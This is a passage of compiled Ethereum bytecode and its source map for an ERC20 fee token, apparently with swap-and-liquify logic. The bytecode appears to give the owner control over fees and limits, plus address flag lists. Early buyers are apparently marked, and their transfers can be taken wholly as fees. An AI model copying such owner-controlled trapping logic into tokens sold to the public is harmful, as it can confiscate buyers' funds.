0e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112865760405162461bcd60e51b8152600401610d0a906126dc565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146113005760405162461bcd60e51b8152600401610d0a906126dc565b6000600755565b606060028054610c46906126a2565b6000546001600160a01b031633146113405760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610cd63384610d99856040518060600160405280602581526020016128ca602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611c85565b6000546001600160a01b031633146113e45760405162461bcd60e51b8152600401610d0a906126dc565b601c55565b6000610d9e33848461188c565b6000546001600160a01b031633146114205760405162461bcd60e51b8152600401610d0a906126dc565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146114685760405162461bcd60e51b8152600401610d0a906126dc565b60148390556015829055601681905561148581610d308585611645565b601955505050565b6000546001600160a01b031633146114b75760405162461bcd60e51b8152600401610d0a906126dc565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061150490831515815260200190565b60405180910390a150565b6000546001600160a01b031633146115395760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03811661159e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d0a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116235760405162461bcd60e51b8152600401610d0a906126dc565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600080611652838561276d565b905083811015610da25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d0a565b6000826000036116b657506000610cda565b60006116c28385612756565b9050826116cf8583612780565b14610da25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d0a565b6000610da283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de7565b6001600160a01b0383166117ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d0a565b6001600160a01b03821661182b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d0a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166118f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610d0a565b6001600160a01b0383166119545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610d0a565b601f54600160a01b900460ff161561197857611971848484611d01565b9050610da2565b6001600160a01b0384166000908152600b602052604090205460ff161580156119ba57506001600160a01b0383166000908152600b602052604090205460ff16155b156119d4576119cb82601b54101590565b6119d457600080fd5b30600090815260056020526040902054601d5481108015908190611a025750601f54600160a01b900460ff16155b8015611a2757506001600160a01b0386166000908152600c602052604090205460ff16155b8015611a3c5750601f54600160a81b900460ff165b15611a6257601f54600160b01b900460ff1615611a5957601d5491505b611a6282611e15565b611a6c8686611f50565b15611add576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611ac3918690611c85565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611b1c57506001600160a01b03861660009081526009602052604090205460ff165b15611b28575083611b8c565b600060075411611b3757600080fd5b611b4b43600854600754610a18919061276d565b8015611b7057506001600160a01b0386166000908152600c602052604090205460ff16155b15611b7e57611b7e86611f88565b611b89878787611ff6565b90505b601f54600160b81b900460ff168015611bbe57506001600160a01b0386166000908152600a602052604090205460ff16155b15611bfa57611bf1611be982610d30896001600160a01b031660009081526005602052604090205490565b601c54101590565b611bfa57600080fd5b6001600160a01b038616600090815260056020526040902054611c1d9082611645565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c719085815260200190565b60405180910390a360019350505050610da2565b60008184841115611ca95760405162461bcd60e51b8152600401610d0a91906123c4565b506000611cb684866127a2565b95945050505050565b6000610da283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c85565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611d52918490611c85565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611d819083611645565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dd59086815260200190565b60405180910390a35060019392505050565b60008183611e085760405162461bcd60e51b8152600401610d0a91906123c4565b506000611cb68486612780565b601f805460ff60a01b1916600160a01b179055601954601454600091611e4b91600291611e4591829087906116a4565b90611726565b90506000611e598383611cbf565b9050611e6481612145565b6014544790600090611e8490611e7b906002611726565b60195490611cbf565b90506000611ea66002611e4584611e45601454886116a490919063ffffffff16565b90506000611ec383611e45601654876116a490919063ffffffff16565b90506000611edb82611ed58786611cbf565b90611cbf565b90508015611efe57600354611efe9061010090046001600160a01b0316826122d8565b8115611f1a57600454611f1a906001600160a01b0316836122d8565b600083118015611f2a5750600087115b15611f3957611f398784612313565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610da257506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff16158015611fca57506001600160a01b0381166000908152600c602052604090205460ff16155b15611ff3576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff161561203a576120336064611e45601754866116a490919063ffffffff16565b9050612078565b6001600160a01b0384166000908152600c602052604090205460ff1615612078576120756064611e45601854866116a490919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156120b957506001600160a01b0385166000908152600c602052604090205460ff16155b156120c15750815b801561213b57306000908152600560205260409020546120e19082611645565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906121329085815260200190565b60405180910390a35b611cb68382611cbf565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061217a5761217a612711565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f791906127b5565b8160018151811061220a5761220a612711565b6001600160a01b039283166020918202929092010152601e546122309130911684611768565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612269908590600090869030904290600401612816565b600060405180830381600087803b15801561228357600080fd5b505af1158015612297573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516122cc929190612852565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561230e573d6000803e3d6000fd5b505050565b601e5461232b9030906001600160a01b031684611768565b601e546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af115801561239f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f79190612873565b600060208083528351808285015260005b818110156123f1578581018301518582016040015282016123d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611ff357600080fd5b6000806040838503121561243a57600080fd5b823561244581612412565b946020939093013593505050565b60008060006060848603121561246857600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561249457600080fd5b833561249f81612412565b925060208401356124af81612412565b929592945050506040919091013590565b803580151581146124d057600080fd5b919050565b600080604083850312156124e857600080fd5b82356124f381612412565b9150612501602084016124c0565b90509250929050565b60006020828403121561251c57600080fd5b5035919050565b60006020828403121561253557600080fd5b610da2826124c0565b60006020828403121561255057600080fd5b8135610da281612412565b60008083601f84011261256d57600080fd5b50813567ffffffffffffffff81111561258557600080fd5b6020830191508360208260051b85010111156125a057600080fd5b9250929050565b6000806000604084860312156125bc57600080fd5b833567ffffffffffffffff8111156125d357600080fd5b6125df8682870161255b565b90945092506125f29050602085016124c0565b90509250925092565b60008060006040848603121561261057600080fd5b833567ffffffffffffffff81111561262757600080fd5b6126338682870161255b565b909790965060209590950135949350505050565b6000806040838503121561265a57600080fd5b50508035926020909101359150565b6000806040838503121561267c57600080fd5b823561268781612412565b9150602083013561269781612412565b809150509250929050565b600181811c908216806126b657607f821691505b6020821081036126d657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161274f5761274f612727565b5060010190565b8082028115828204841417610cda57610cda612727565b80820180821115610cda57610cda612727565b60008261279d57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610cda57610cda612727565b6000602082840312156127c757600080fd5b8151610da281612412565b600081518084526020808501945080840160005b8381101561280b5781516001600160a01b0316875295820195908201906001016127e6565b509495945050505050565b85815284602082015260a06040820152600061283560a08301866127d2565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061286b60408301846127d2565b949350505050565b60008060006060848603121561288857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b52cf29a8e1207274dabc0c21bc69bbf61cfee1b668dc0dd8ea364a05837f5d64736f6c63430008110033
Deployed Bytecode Sourcemap
20843:495:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4786:25;;;;;;;;;;;;;;;;;;;160::1;;;148:2;133:18;4786:25:0;;;;;;;;8745:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10039:161::-;;;;;;;;;;-1:-1:-1;10039:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;10039:161:0;1205:187:1;5587:26:0;;;;;;;;;;;;;;;;5704:41;;;;;;;;;;-1:-1:-1;5704:41:0;;;;-1:-1:-1;;;;;5704:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5704:41:0;1397:229:1;9022:100:0;;;;;;;;;;-1:-1:-1;9102:12:0;;9022:100;;11500:259;;;;;;;;;;-1:-1:-1;11500:259:0;;;;;:::i;:::-;;:::i;:::-;;13865:313;;;;;;;;;;-1:-1:-1;13865:313:0;;;;;:::i;:::-;;:::i;4532:81::-;;;;;;;;;;;;;;;10829:135;;;;;;;;;;-1:-1:-1;10829:135:0;;;;;:::i;:::-;;:::i;13326:128::-;;;;;;;;;;;;;:::i;8931:83::-;;;;;;;;;;-1:-1:-1;8997:9:0;;8931:83;;8997:9;;;;3248:36:1;;3236:2;3221:18;8931:83:0;3106:184:1;14818:113:0;;;;;;;;;;-1:-1:-1;14818:113:0;;;;;:::i;:::-;;:::i;9408:218::-;;;;;;;;;;-1:-1:-1;9408:218:0;;;;;:::i;:::-;;:::i;12622:124::-;;;;;;;;;;-1:-1:-1;12622:124:0;;;;;:::i;:::-;;:::i;13189:125::-;;;;;;;;;;-1:-1:-1;13189:125:0;;;;;:::i;:::-;;:::i;4447:36::-;;;;;;;;;;-1:-1:-1;4447:36:0;;;;;;;-1:-1:-1;;;;;4447:36:0;;;4988:45;;;;;;;;;;-1:-1:-1;4988:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4879:47;;;;;;;;;;-1:-1:-1;4879:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5819:40;;;;;;;;;;-1:-1:-1;5819:40:0;;;;-1:-1:-1;;;5819:40:0;;;;;;10972:260;;;;;;;;;;-1:-1:-1;10972:260:0;;;;;:::i;:::-;;:::i;4933:48::-;;;;;;;;;;-1:-1:-1;4933:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5317:30;;;;;;;;;;;;;;;;11240:252;;;;;;;;;;-1:-1:-1;11240:252:0;;;;;:::i;:::-;;:::i;5918:29::-;;;;;;;;;;-1:-1:-1;5918:29:0;;;;-1:-1:-1;;;5918:29:0;;;;;;5354:30;;;;;;;;;;;;;;;;14295:368;;;;;;;;;;-1:-1:-1;14295:368:0;;;;;:::i;:::-;;:::i;12754:121::-;;;;;;;;;;-1:-1:-1;12754:121:0;;;;;:::i;:::-;;:::i;9130:119::-;;;;;;;;;;-1:-1:-1;9130:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9223:18:0;9196:7;9223:18;;;:9;:18;;;;;;;9130:119;14939:113;;;;;;;;;;-1:-1:-1;14939:113:0;;;;;:::i;:::-;;:::i;5464:33::-;;;;;;;;;;;;;;;;10553:129;;;;;;;;;;-1:-1:-1;10553:129:0;;;;;:::i;:::-;;:::i;12141:113::-;;;;;;;;;;-1:-1:-1;12141:113:0;;;;;:::i;:::-;;:::i;5203:32::-;;;;;;;;;;;;;;;;12365:125;;;;;;;;;;-1:-1:-1;12365:125:0;;;;;:::i;:::-;;:::i;2799:79::-;;;;;;;;;;-1:-1:-1;2837:7:0;2864:6;-1:-1:-1;;;;;2864:6:0;2799:79;;3024:155;;;;;;;;;;;;;:::i;15410:74::-;;;;;;;;;;;;;:::i;8836:87::-;;;;;;;;;;;;;:::i;5621:27::-;;;;;;;;;;;;;;;;9911:120;;;;;;;;;;-1:-1:-1;10000:23:0;;9911:120;;5504:39;;;;;;;;;;;;;;;;10690:127;;;;;;;;;;-1:-1:-1;10690:127:0;;;;;:::i;:::-;;:::i;9634:269::-;;;;;;;;;;-1:-1:-1;9634:269:0;;;;;:::i;:::-;;:::i;12498:116::-;;;;;;;;;;-1:-1:-1;12498:116:0;;;;;:::i;:::-;;:::i;5391:25::-;;;;;;;;;;;;;;;;4822:50;;;;;;;;;;-1:-1:-1;4822:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13690:167;;;;;;;;;;-1:-1:-1;13690:167:0;;;;;:::i;:::-;;:::i;17460:86::-;;;;;;;;;;-1:-1:-1;17460:86:0;;;;;:::i;:::-;-1:-1:-1;17539:4:0;;17460:86;14186:101;;;;;;;;;;-1:-1:-1;14186:101:0;;;;;:::i;:::-;-1:-1:-1;;;;;14263:16:0;14239:4;14263:16;;;:7;:16;;;;;;;;;14186:101;12262:95;;;;;;;;;;-1:-1:-1;12262:95:0;;;;;:::i;:::-;;:::i;11771:358::-;;;;;;;;;;-1:-1:-1;11771:358:0;;;;;:::i;:::-;;:::i;5164:26::-;;;;;;;;;;;;;;;;13010:171;;;;;;;;;;-1:-1:-1;13010:171:0;;;;;:::i;:::-;;:::i;5126:31::-;;;;;;;;;;;;;;;;5752:26;;;;;;;;;;-1:-1:-1;5752:26:0;;;;-1:-1:-1;;;;;5752:26:0;;;5242:32;;;;;;;;;;;;;;;;5281:27;;;;;;;;;;;;;;;;4753:26;;;;;;;;;;;;;;;;5866:45;;;;;;;;;;-1:-1:-1;5866:45:0;;;;-1:-1:-1;;;5866:45:0;;;;;;5088:31;;;;;;;;;;;;;;;;9257:143;;;;;;;;;;-1:-1:-1;9257:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9365:18:0;;;9338:7;9365:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9257:143;4490:35;;;;;;;;;;-1:-1:-1;4490:35:0;;;;-1:-1:-1;;;;;4490:35:0;;;5425:32;;;;;;;;;;;;;;;;3187:244;;;;;;;;;;-1:-1:-1;3187:244:0;;;;;:::i;:::-;;:::i;12883:119::-;;;;;;;;;;-1:-1:-1;12883:119:0;;;;;:::i;:::-;;:::i;8745:83::-;8782:13;8815:5;8808:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8745:83;:::o;10039:161::-;10114:4;10131:39;189:10;10154:7;10163:6;10131:8;:39::i;:::-;-1:-1:-1;10188:4:0;10039:161;;;;;:::o;11500:259::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;;;;;;;;;11579:17:::1;:21:::0;;;11611:17:::1;:21:::0;;;11643:12:::1;:16:::0;;;11693:58:::1;11658:1:::0;11693:40:::1;11599:1:::0;11631;11693:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;11672:18;:79:::0;-1:-1:-1;;;11500:259:0:o;13865:313::-;13963:4;13980:36;13990:6;13998:9;14009:6;13980:9;:36::i;:::-;-1:-1:-1;14027:121:0;14036:6;189:10;14058:89;14096:6;14058:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14058:19:0;;;;;;:11;:19;;;;;;;;189:10;14058:33;;;;;;;;;;:37;:89::i;:::-;14027:8;:121::i;:::-;-1:-1:-1;14166:4:0;13865:313;;;;;;:::o;10829:135::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10919:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;10919:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10829:135::o;13326:128::-;13433:11;-1:-1:-1;;;;;9223:18:0;13379:7;9223:18;;;:9;:18;;;;;;13406:12;;:40;;:16;:40::i;:::-;13399:47;;13326:128;:::o;14818:113::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14896:18:0;;;::::1;;::::0;;;:7:::1;:18;::::0;;;;:27;;-1:-1:-1;;14896:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14818:113::o;9408:218::-;189:10;9496:4;9545:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9545:34:0;;;;;;;;;;9496:4;;9513:83;;9536:7;;9545:50;;9584:10;9545:38;:50::i;12622:124::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12704:23:::1;:34:::0;12622:124::o;13189:125::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13270:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13270:36:0::1;-1:-1:-1::0;;;;13270:36:0;;::::1;::::0;;;::::1;::::0;;13189:125::o;10972:260::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11100:3:::1;11081:22:::0;::::1;11073:31;;;::::0;::::1;;11120:9;11115:110;11131:20:::0;;::::1;11115:110;;;11207:6;11173:17;:31;11191:9;;11201:1;11191:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11173:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11173:31:0;:40;;-1:-1:-1;;11173:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11153:3:::1;::::0;::::1;:::i;:::-;;;11115:110;;;;10972:260:::0;;;:::o;11240:252::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11319:16:::1;:20:::0;;;11350:16:::1;:20:::0;;;11381:11:::1;:15:::0;;;11429:55:::1;11395:1:::0;11429:38:::1;11338:1:::0;11369;11429:20:::1;:38::i;:55::-;11409:17;:75:::0;-1:-1:-1;;;11240:252:0:o;14295:368::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;14427:4:::1;14408:23:::0;::::1;14400:32;;;::::0;::::1;;14443:12;14458:25;14467:9:::0;14458:6;:25:::1;:::i;:::-;14512:10;9196:7:::0;9223:18;;;:9;:18;;;;;;14443:40;;-1:-1:-1;14443:40:0;-1:-1:-1;14502:29:0::1;14494:38;;;::::0;::::1;;14547:6;14543:113;14557:20:::0;;::::1;14543:113;;;14598:46;14613:10;14624:9;;14634:1;14624:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;14637:6;14598:14;:46::i;:::-;-1:-1:-1::0;14579:3:0;::::1;::::0;::::1;:::i;:::-;;;;14543:113;;;;14389:274;14295:368:::0;;;:::o;12754:121::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12832:13:::1;:35:::0;;-1:-1:-1;;;;;12832:35:0;;::::1;;;-1:-1:-1::0;;;;;;12832:35:0;;::::1;::::0;;;::::1;::::0;;12754:121::o;14939:113::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;14993:10:::1;:14:::0;15032:12:::1;15018:11;:26:::0;14939:113::o;10553:129::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10642:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;10642:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10553:129::o;12141:113::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12219:11:::1;:27:::0;12141:113::o;12365:125::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12451:22:0;;;::::1;;::::0;;;:14:::1;:22;::::0;;;;:31;;-1:-1:-1;;12451:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12365:125::o;3024:155::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;3112:6:::1;::::0;;3091:45:::1;::::0;3128:6:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:45:::1;::::0;::::1;3147:6;:24:::0;;-1:-1:-1;;;;;;3147:24:0::1;3164:6;3147:24;::::0;;3024:155::o;15410:74::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;15475:1:::1;15461:11;:15:::0;15410:74::o;8836:87::-;8875:13;8908:7;8901:14;;;;;:::i;10690:127::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10777:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;10777:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10690:127::o;9634:269::-;9727:4;9744:129;189:10;9767:7;9776:96;9815:15;9776:96;;;;;;;;;;;;;;;;;189:10;9776:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9776:34:0;;;;;;;;;;;;:38;:96::i;12498:116::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12576:12:::1;:30:::0;12498:116::o;13690:167::-;13768:4;13785:42;189:10;13809:9;13820:6;13785:9;:42::i;12262:95::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12328:10:::1;:21:::0;;;::::1;;-1:-1:-1::0;;;12328:21:0::1;-1:-1:-1::0;;;;12328:21:0;;::::1;::::0;;;::::1;::::0;;12262:95::o;11771:358::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11912:15:::1;:35:::0;;;11958:15:::1;:35:::0;;;12004:10:::1;:25:::0;;;12069:52:::1;12017:12:::0;12069:36:::1;11930:17:::0;11976;12069:19:::1;:36::i;:52::-;12042:24;:79:::0;-1:-1:-1;;;11771:358:0:o;13010:171::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13087:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;13087:32:0::1;-1:-1:-1::0;;;;13087:32:0;;::::1;;::::0;;13135:38:::1;::::0;::::1;::::0;::::1;::::0;13111:8;1370:14:1;1363:22;1345:41;;1333:2;1318:18;;1205:187;13135:38:0::1;;;;;;;;13010:171:::0;:::o;3187:244::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3276:22:0;::::1;3268:73;;;::::0;-1:-1:-1;;;3268:73:0;;7704:2:1;3268:73:0::1;::::0;::::1;7686:21:1::0;7743:2;7723:18;;;7716:30;7782:34;7762:18;;;7755:62;-1:-1:-1;;;7833:18:1;;;7826:36;7879:19;;3268:73:0::1;7502:402:1::0;3268:73:0::1;3378:6;::::0;;3357:38:::1;::::0;-1:-1:-1;;;;;3357:38:0;;::::1;::::0;3378:6;::::1;::::0;3357:38:::1;::::0;::::1;3406:6;:17:::0;;-1:-1:-1;;;;;;3406:17:0::1;-1:-1:-1::0;;;;;3406:17:0;;;::::1;::::0;;;::::1;::::0;;3187:244::o;12883:119::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12960:12:::1;:34:::0;;-1:-1:-1;;;;;;12960:34:0::1;-1:-1:-1::0;;;;;12960:34:0;;;::::1;::::0;;;::::1;::::0;;12883:119::o;1042:181::-;1100:7;;1132:5;1136:1;1132;:5;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;-1:-1:-1;;;1148:46:0;;8241:2:1;1148:46:0;;;8223:21:1;8280:2;8260:18;;;8253:30;8319:29;8299:18;;;8292:57;8366:18;;1148:46:0;8039:351:1;1575:250:0;1633:7;1657:1;1662;1657:6;1653:47;;-1:-1:-1;1687:1:0;1680:8;;1653:47;1712:9;1724:5;1728:1;1724;:5;:::i;:::-;1712:17;-1:-1:-1;1757:1:0;1748:5;1752:1;1712:17;1748:5;:::i;:::-;:10;1740:56;;;;-1:-1:-1;;;1740:56:0;;8819:2:1;1740:56:0;;;8801:21:1;8858:2;8838:18;;;8831:30;8897:34;8877:18;;;8870:62;-1:-1:-1;;;8948:18:1;;;8941:31;8989:19;;1740:56:0;8617:397:1;1833:132:0;1891:7;1918:39;1922:1;1925;1918:39;;;;;;;;;;;;;;;;;:3;:39::i;10208:337::-;-1:-1:-1;;;;;10301:19:0;;10293:68;;;;-1:-1:-1;;;10293:68:0;;9221:2:1;10293:68:0;;;9203:21:1;9260:2;9240:18;;;9233:30;9299:34;9279:18;;;9272:62;-1:-1:-1;;;9350:18:1;;;9343:34;9394:19;;10293:68:0;9019:400:1;10293:68:0;-1:-1:-1;;;;;10380:21:0;;10372:68;;;;-1:-1:-1;;;10372:68:0;;9626:2:1;10372:68:0;;;9608:21:1;9665:2;9645:18;;;9638:30;9704:34;9684:18;;;9677:62;-1:-1:-1;;;9755:18:1;;;9748:32;9797:19;;10372:68:0;9424:398:1;10372:68:0;-1:-1:-1;;;;;10453:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10505:32;;160:25:1;;;10505:32:0;;133:18:1;10505:32:0;;;;;;;10208:337;;;:::o;15492:1960::-;15579:4;-1:-1:-1;;;;;15606